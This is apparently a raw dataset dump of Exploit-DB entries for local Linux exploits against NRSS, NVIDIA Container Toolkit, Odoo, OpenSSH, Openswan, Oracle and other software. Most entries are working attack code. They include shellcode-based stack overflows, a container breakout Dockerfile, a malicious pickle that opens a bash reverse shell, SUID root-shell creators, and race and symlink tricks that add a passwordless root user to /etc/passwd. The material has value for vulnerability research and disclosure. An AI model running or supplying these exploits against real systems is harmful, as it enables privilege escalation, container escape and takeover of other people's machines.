deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39810
Description: NRSS Reader 0.3.9 - Local Stack Overflow
Type: local
Platform: linux
Date: 2016-05-13
Author: Juan Sacco

Exploit:
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: NRSS RSS Reader
# Version: 0.3.9-1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: NRSS is a console based RSS reader allowing
# uses to read and manage RSS feeds
# Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb
# MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39
# Website: http://www.codezen.org/nrss/

#
# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d I t S z a p c
#   ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFED60 EIP: 0x41424344
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()


import os, subprocess

def run():
  try:
    print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 256
    nopsled = "\x90"*200
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\xd0\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["nrss -F",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, NRSS Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
Exploit-DB #52095
Description: NVIDIA Container Toolkit 1.16.1 - Time-of-check Time-of-Use (TOCTOU)
Type: local
Platform: linux
Date: 2025-03-26
Author: r0binak

Exploit:
# Exploit Title: Container Breakout with NVIDIA Container Toolkit
# Date: 17/02/2025
# Exploit Author: r0binak
#Software Link Homepage: https://github.com/NVIDIA/nvidia-container-toolkit
# Version: 1.16.1
# Tested on: NVIDIA Container Tooklit 1.16.1
# CVE: CVE-2024-0132

Description: NVIDIA Container Toolkit 1.16.1 or earlier contains a
Time-of-check Time-of-Use (TOCTOU) vulnerability when used with
default configuration where a specifically crafted container image may
gain access to the host file system. This does not impact use cases
where CDI is used. A successful exploit of this vulnerability may lead
to code execution, denial of service, escalation of privileges,
information disclosure, and data tampering.

PoC link: https://github.com/r0binak/CVE-2024-0132

Steps to Reproduce:

Build and run a docker image based on such a Dockerfile:

FROM ubuntu

RUN mkdir -p /usr/local/cuda/compat/

RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test >
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs

RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../
/pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1

RUN ln -s /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
/usr/local/cuda/compat/libxxx.so.2

The host file system will reside in
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/

Regards,
Sergey `*r0binak*` Kanibor
Exploit-DB #44064
Description: Odoo CRM 10.0 - Code Execution
Type: local
Platform: linux
Date: 2017-06-30
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describe arbitrary Python code execution found in Odoo CRM version 10.0

Odoo is a suite of open source business apps that cover all your company needs: CRM, eCommerce, accounting, inventory, point of sale, project management, etc. Odoo’s unique value proposition is to be at the same time very easy to use and fully integrated.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Odoo has done a private disclosure for the issue we reported, and the patch was merged in all supported branches.
CVE: CVE-2017-10803

The full public disclosure will be available at https://github.com/odoo/odoo/issues/17898.

## Vulnerability Details
One of the core Odoo modules, Database Anonymization, allows an administrator to anonymize the contents of the Odoo database. The module does this by serializing the contents of the existing database using Python’s pickle module into a backup file before modifying the contents of the database. The administrator can then de-anonymize the database by loading the pickled backup file.

Python’s pickle module can be made to execute arbitrary Python code when loading an attacker controlled pickle file. With this, an administrator can execute arbitrary Python code with the same privilege level as the Odoo webapp by anonymizing the database then attempt the de-anonymization process with a crafted pickle file.

## Proof of Concept
In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install “Database Anonymization” in the search bar. We have to deselect the “Apps” filter in the search bar for it to show up.

Once we have the module installed, we navigate to the settings page and select “Anonymize database” under “Database anonymization” and click on the “Anonymize Database” button. Next, we refresh the page and navigate to the same page under settings. We upload the “exploit.pickle” file generated our script and click on “Reverse the Database Anonymization” button. We should have a reverse shell.

The following Python file generate a malicious pickle file that attempts (via bash) to connect back to a listener on port 8000:

```
import cPickle
import os
import base64
import pickletools

class Exploit(object):
def __reduce__(self):
return (os.system, (("bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"),))

with open("exploit.pickle", "wb") as f:
cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
```

We then use netcat listener on port 8000:

```
ncat -nlvp 8000
```
Exploit-DB #19946
Description: OpenLDAP 1.2.7/1.2.8/1.2.9/1.2.10 - '/usr/tmp/' Symlink
Type: local
Platform: linux
Date: 2000-04-21
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/1232/info

A vulnerability exists in OpenLDAP as shipped with some versions of Linux, including RedHat 6.1 and 6.2, and TurboLinux 6.0.2 and earlier. OpenLDAP will create files in /usr/tmp, which is actually a symbolic link to the world writable /tmp directory. As OpenLDAP does not check for a files existence prior to opening the files in /usr/tmp, it is possible for an attacker to point an appropriately named symbolic link at any file on the filesystem, and cause it to be destroyed.

This vulnerability will also affect any Unix system with OpenLDAP assuming the following criteria is true:
1) slapd.conf configures the "directory" variable to be /usr/tmp
2) /usr/tmp is a world writable directory.
3) slurpd was built with the DEFAULT_SLURPD_REPLICA_DIR set to /usr/tmp 

ln -sf /etc/passwd /usr/tmp/NEXTID
Exploit-DB #32820
Description: OpenSC 0.11.x - PKCS#11 Implementation Unauthorized Access
Type: local
Platform: linux
Date: 2009-02-26
Author: Andreas Jellinghaus

Exploit:
source: https://www.securityfocus.com/bid/33922/info

OpenSC is prone to an unauthorized-access vulnerability.

Attackers can exploit this issue to gain unauthorized access to private data, which may lead to other attacks.

Versions prior to OpenSC 0.11.7 are vulnerable. 

The following proof of concept is available:

create a file with a secret:
echo "This is my secret data" > secret-file

To initialise a blank card:
pkcs15-init --create-pkcs15 --use-default-transport-keys --profile pkcs15+onepin --pin 123456 --puk 78907890

To write a private data object to the card:
pkcs11-tool --label "my secret" --type data --write-object secret-file
--private --login --pin 12345

To see all objects on the card:
pkcs15-tool --dump
This will list the data object, including the path it is stored, e.g.:
"Path: 3f[PII_REDACTED]"

To access such an object with low-level tools:

opensc-explorer
cd 5015
get 4701
Exploit-DB #41173
Description: OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-01-26
Author: Federico Bento

Exploit:
/* 
 *  not_an_sshnuke.c
 *
 *  Federico Bento
 *
 *  up201407890 () alunos dcc fc up pt
 *  https://twitter.com/uid1000
 * 
 *  OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
 *  
 *  Considered mostly to be a "DoS", turns out to be a priv esc vuln.
 *  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
 *
 *  Shoutz to Jann Horn for the detailed analysis
 *  And also to all my elite colleagues, specially xSTF :)
 *
 *
 *  $ gcc not_an_sshnuke.c -o not_an_sshnuke
 *  $ ./not_an_sshnuke /dev/pts/3
 *  [*] Waiting for slave device /dev/pts/3
 *  [+] Got PTY slave /dev/pts/3
 *  [+] Making PTY slave the controlling terminal
 *  [+] SUID shell at /tmp/sh
 *  $ /tmp/sh --norc --noprofile -p
 *  # id
 *  euid=0(root) groups=0(root)
 *
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
     
int main(int argc, char *argv[])
{
     char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
     int pid, pts = -1;

     if(argc != 2) {
          fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
	  fprintf(stderr, "Where X is next slave device to be created\n");
	  return 1;
     }
	
     if(!access(argv[1], F_OK)) {
          fprintf(stderr, "[-] %s device already exists\n", argv[1]);
          return 1;
     }

     pid = fork();

     if(pid < 0) {
	  fprintf(stderr, "[-] fork failed\n");
	  return 1;
     }
	
     if(pid == 0) {
          printf("[*] Waiting for slave device %s\n", argv[1]);
		
	  /* win the race by opening the PTY slave before sshd's child */
	  while(pts == -1)
	       pts = open(argv[1], O_WRONLY); 

	       printf("[+] Got PTY slave %s\n", argv[1]);
               printf("[+] Making PTY slave the controlling terminal\n");
		
	       dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
	       setsid();
               ioctl(0, TIOCSCTTY, 1);

	       while(*cmd)
	            ioctl(0, TIOCSTI, cmd++);
     }

     else {
          wait(NULL);
	  printf("[+] SUID shell at /tmp/sh\n");
	  return 0;
     }
}
Exploit-DB #40962
Description: OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation
Type: local
Platform: linux
Date: 2016-12-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1010

This issue affects OpenSSH if privilege separation is disabled (config option
UsePrivilegeSeparation=no). While privilege separation is enabled by default, it
is documented as a hardening option, and therefore disabling it should not
directly make a system vulnerable.

OpenSSH can forward TCP sockets and UNIX domain sockets. If privilege separation
is disabled, then on the server side, the forwarding is handled by a child of
sshd that has root privileges. For TCP server sockets, sshd explicitly checks
whether an attempt is made to bind to a low port (below IPPORT_RESERVED) and, if
so, requires the client to authenticate as root. However, for UNIX domain
sockets, no such security measures are implemented.

This means that, using "ssh -L", an attacker who is permitted to log in as a
normal user over SSH can effectively connect to non-abstract unix domain sockets
with root privileges. On systems that run systemd, this can for example be
exploited by asking systemd to add an LD_PRELOAD environment variable for all
following daemon launches and then asking it to restart cron or so. The attached
exploit demonstrates this - if it is executed on a system with systemd where
the user is allowed to ssh to his own account and where privsep is disabled, it
yields a root shell.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40962.zip
Exploit-DB #9135
Description: Openswan 2.4.12/2.6.16 - Insecure Temp File Creation Privilege Escalation
Type: local
Platform: linux
Date: 2009-07-13
Author: nofame

Exploit:
#!/bin/bash
# uglyswan - OpenSwan local root exploit (CVE-2008-4190)
#
# description:
# The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16,
# allows local users to overwrite arbitrary files and execute arbitrary code via a
# symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files.
# NOTE: in many distributions and the upstream version, this tool has been disabled.
#
# vulnerable code:
# wget -o /dev/null  -O /tmp/ipseclive.conn "http://192.168.0.1/olts/?leftid=$leftid&$leftrsasigkey&version=$version"
# sh < /tmp/ipseclive.conn
#
# the exploit:
# cat waits for the input from wget to the fifo and after it received it, you
# immediately echo your command into the fifo which was empty again and viola, it
# gets executed, because the sh binary needs a few milliseconds to get loaded,
# it's a typical race condition.
# 
# problem:
# you need to trick root to execute "ipsec livetest", and this script needs to run in background...
#
# I don't want no fame for this as it is ripped from Gentoo bug 238574, thanks
#

mkfifo /tmp/ipseclive.conn
cat /tmp/ipseclive.conn
echo 'echo t00r::0:0::/tmp:/bin/sh>>/etc/passwd' > /tmp/ipseclive.conn
rm /tmp/ipseclive.conn
su -l t00r

# milw0rm.com [2009-07-13]
Exploit-DB #24757
Description: opera Web browser 7.54 java implementation - Multiple Vulnerabilities (3)
Type: local
Platform: linux
Date: 2004-11-19
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/11712/info
  
Multiple remote vulnerabilities reportedly affect the Opera Web Browser Java implementation. These issues are due to the insecure proprietary design of the Web browser's Java implementation.
  
These issues may allow an attacker to craft a Java applet that violate Sun's Java secure programming guidelines.
  
These issues may be leveraged to carry out a variety of unspecified attacks including sensitive information disclosure and denial of service attacks. Any successful exploitation would take place with the privileges of the user running the affected browser application.
  
Although only version 7.54 is reportedly vulnerable, it is likely that earlier versions are vulnerable to these issues as well.

import sun.misc.*;
import java.util.Enumeration;

public class Opera754LauncherApplet extends java.applet.Applet{

	public void start()? {
		URLClassPath o = Launcher.getBootstrapClassPath();
		for (int i = 0; i < o.getURLs().length; i++) {
			System.out.println(o.getURLs()[i]);
		}
	}
}
Exploit-DB #24758
Description: Opera Web browser 7.54 java implementation - Multiple Vulnerabilities (4)
Type: local
Platform: linux
Date: 2004-11-19
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/11712/info
  
Multiple remote vulnerabilities reportedly affect the Opera Web Browser Java implementation. These issues are due to the insecure proprietary design of the Web browser's Java implementation.
  
These issues may allow an attacker to craft a Java applet that violate Sun's Java secure programming guidelines.
  
These issues may be leveraged to carry out a variety of unspecified attacks including sensitive information disclosure and denial of service attacks. Any successful exploitation would take place with the privileges of the user running the affected browser application.
  
Although only version 7.54 is reportedly vulnerable, it is likely that earlier versions are vulnerable to these issues as well.

import sun.security.krb5.*;

public class Opera754KerberosAppletPrint extends java.applet.Applet{

   public void start() {

        int j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
Opera 754 FontCrash, wanna crash? ");
        System.out.println(j);
        try {
        Credentials c =  Credentials.acquireDefaultCreds();

        System.out.println(c);
        j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org |Got
something for ya"+c);

        }
        catch (Exception e) {
        j = javax.swing.JOptionPane.showConfirmDialog(null,e.toString());

        }
   }

}
Exploit-DB #35681
Description: OProfile 0.9.6 - 'opcontrol' Utility 'set_event()' Local Privilege Escalation
Type: local
Platform: linux
Date: 2011-04-29
Author: Stephane Chauveau

Exploit:
source: https://www.securityfocus.com/bid/47652/info

OProfile is prone to a local privilege-escalation vulnerability.

An attacker can exploit this issue to run arbitrary commands with superuser privileges. 

The following example command is available:

sudo opcontrol -e "abcd;/usr/bin/id"
Exploit-DB #183
Description: Oracle (oidldapd connect) - Local Command Line Overflow
Type: local
Platform: linux
Date: 2000-11-16
Author: anonymous

Exploit:
/*
  Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux.
  I tested in RH 6.2 and 6.1. This code is a bullshit (i know
  please no comments about ;-)).

  If someone exports this to Sparc please tell me.

  synopsis: buffer overflow in oidldapd
    impact: any user gain euid=oracle.

  Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET		13
#define DEFAULT_BUFFER_SIZE	700
#define NOP				0x90
#define ORACLE_HOME		"/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);
  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
}


// milw0rm.com [2000-11-16]
Exploit-DB #19142
Description: Oracle 8 - File Access
Type: local
Platform: linux
Date: 1999-05-06
Author: Kevin Wenchel

Exploit:
source: https://www.securityfocus.com/bid/170/info

A number of security file access security vulnerabilities in suid programs that are part of Oracle may be exploited to obtain the privileges of the 'oracle' user and full access to the database system. Only the Unix version of Oracle is vulnerable.

The following suid executables are believed to contain security vulnerabilities: lsnrctl, oemevent, onrsd, osslogin, tnslsnr, tnsping, trcasst, trcroute, cmctl, cmadmin, cmgw, names, namesctl, otrccref, otrcfmt, otrcrep, otrccol and oracleO. These files are owned by the oracle user and are suid.

The utilities implement insecure file creation and manipulation and they trust environment variables. These allow malicious users to create, append or overwrite files owned by the oracle user, as well as executing program as the oracle user. 

#! /usr/bin/ksh
#############################################
#
# cmctl is installed setuid to Oracle
# by default. See BugTraq ID 170 and Oracle
# bug id 701297 and 714293. 
#
# This script will create a setuid Oracle shell,
# /tmp/.sh
#

# redirect environment variables
export ORACLE_HOME=/tmp
export ORAHOME=/tmp

mkdir /tmp/bin
chmod a+rx /tmp/bin

# create cmadmin script
cat <<EOF > /tmp/bin/cmadmin
cp /bin/sh /tmp/.sh
chmod u+s /tmp/.sh
chmod a+rx /tmp/.sh
EOF

chmod a+rx /tmp/bin/cmadmin

# run cmctl to crete Oracle setuid shell
/oracle/products/V815/bin/cmctl start cmadmin
Exploit-DB #19125
Description: Oracle 8 - oratclsh Suid
Type: local
Platform: linux
Date: 1999-04-29
Author: Dan Sugalski

Exploit:
source: https://www.securityfocus.com/bid/159/info

Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.

The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.

The offending core in "root.sh":

# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh 
/bin/chmod u+s /oracle/bin/oratclsh

./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit

$ su - intruder
$ id
uid=0(root) gid=1(other)